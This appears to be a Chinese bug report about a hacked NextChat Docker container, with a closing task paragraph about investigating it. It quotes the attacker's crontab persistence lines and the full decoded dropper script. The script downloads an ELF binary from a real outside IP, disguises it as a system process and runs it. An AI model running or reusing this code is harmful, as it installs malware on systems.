[Bug] nextchatweb容器被入侵了

### 📦 部署方式

Docker

### 📌 软件版本

v2.16.1

### 💻 系统环境

Ubuntu

### 📌 系统版本

Ubuntu 18.04.6 LTS

### 🌐 浏览器

Chrome

### 📌 浏览器版本

任何

### 🐛 问题描述

服务器发送警报cpu占满了，登陆查看是nextchatweb容器里的crond进程100%了。crontab -l查看多了两行异常脚本@reboot busybox wget -T 5 -qO- "http://45.198.224.93:8081/ok" | base64 -d | bash
*/3 * * * * busybox wget -T 5 -qO- "http://45.198.224.93:8081/ok" | base64 -d | bash
解码该网址内容为#!/bin/bash
[ -z "$OKDBG" ]&&exec 2>/dev/null
H=45.198.224.93;P=8081
N="dbus-daemon systemd-journald systemd-resolved systemd-timesyncd systemd-udevd polkitd rsyslogd sshd cron crond auditd agetty nginx mysqld atd"
Q=".cache .config .local .gnupg .dbus .pki .thumbnails"
M=$(cat /etc/machine-id 2>/dev/null);[ -z "$M" ]&&M="$(hostname)-$(uname -s)-$(uname -m)"
F="$M$(hostname)"
h(){ command -v "$1" >/dev/null; }
p(){ L=$1 S=$2 n=0
for I in $L;do n=$((n+1));done
g=$(printf %s "$S"|cksum);g=${g%% *};[ -z "$g" ]&&g=0
R=$((g%n+1));n=0
for I in $L;do n=$((n+1));[ "$n" = "$R" ]&&{ printf %s "$I";return;};done; }
X=$(p "$N" "$F");Y=$(p "$Q" "$F")
[ "$(id -u)" = 0 ]&&E="/usr/bin/$Y/$X"||E="${HOME:-/tmp}/$Y/$X"
case $(uname -m) in x86_64|amd64)A=x86_64;;i386|i486|i586|i686)A=i686;;aarch64|arm64)A=aarch64;;armv7l|armv7|armv8l)A=armv7l;;*)echo XR_FAILED_ARCH;exit 1;;esac
v(){ [ -s "$1" ]&&[ "$(dd if="$1" bs=4 count=1 2>/dev/null)" = "$(printf '\177ELF')" ]; }
d(){ U="http://$H:$P/elf.$A"
h curl&&curl -fsSL --connect-timeout 10 --max-time 120 "$U" -o "$E"&&v "$E"&&return
h wget&&wget -q -T 10 "$U" -O "$E"&&v "$E"&&return
h busybox&&busybox wget -q -T 10 "$U" -O "$E"&&v "$E"&&return
h perl&&perl -MIO::Socket::INET -e '($h,$p,$f,$o)=@ARGV;$s=IO::Socket::INET->new(PeerAddr=>$h,PeerPort=>$p,Proto=>"tcp")or exit 1;print $s "GET $f HTTP/1.0\r\nHost: $h\r\nConnection: close\r\n\r\n";open(O,">",$o)or exit 1;while(<$s>){print O if $b;$b=1 if /^\r?$/}' "$H" "$P" "/elf.$A" "$E"&&v "$E"&&return
h python3&&python3 -c 'import urllib.request as u;u.urlretrieve("'$U'","'$E'")'&&v "$E"&&return
return 1; }
mkdir -p "${E%/*}"
d||{ echo XR_FAILED_DL;exit 1; }
chmod +x "$E"
( "$E" --dbg >/dev/null 2>&1 & )
S="$E.status";i=0
while [ $i -lt 240 ];do [ -s "$S" ]&&{ T=$(cat "$S");rm -f "$S";echo "$T";case "$T" in *FAILED*|*TIMEOUT*)exit 1;;*)exit 0;;esac;};sleep 1;i=$((i+1));done
echo XR_STATUS:TIMEOUT;exit 1

### 📷 复现步骤

难以复现

### 🚦 期望结果

希望修复网页漏洞

### 📝 补充信息

_No response_

Start with the Docker deployment of v2.16.1 and investigate the container's crond process and the two unexpected crontab entries described here. Done means the unauthorized execution path is identified, the web exposure is mitigated, and the fix is verified against the reported persistence and CPU behavior.

Written by the indexing model from the issue text.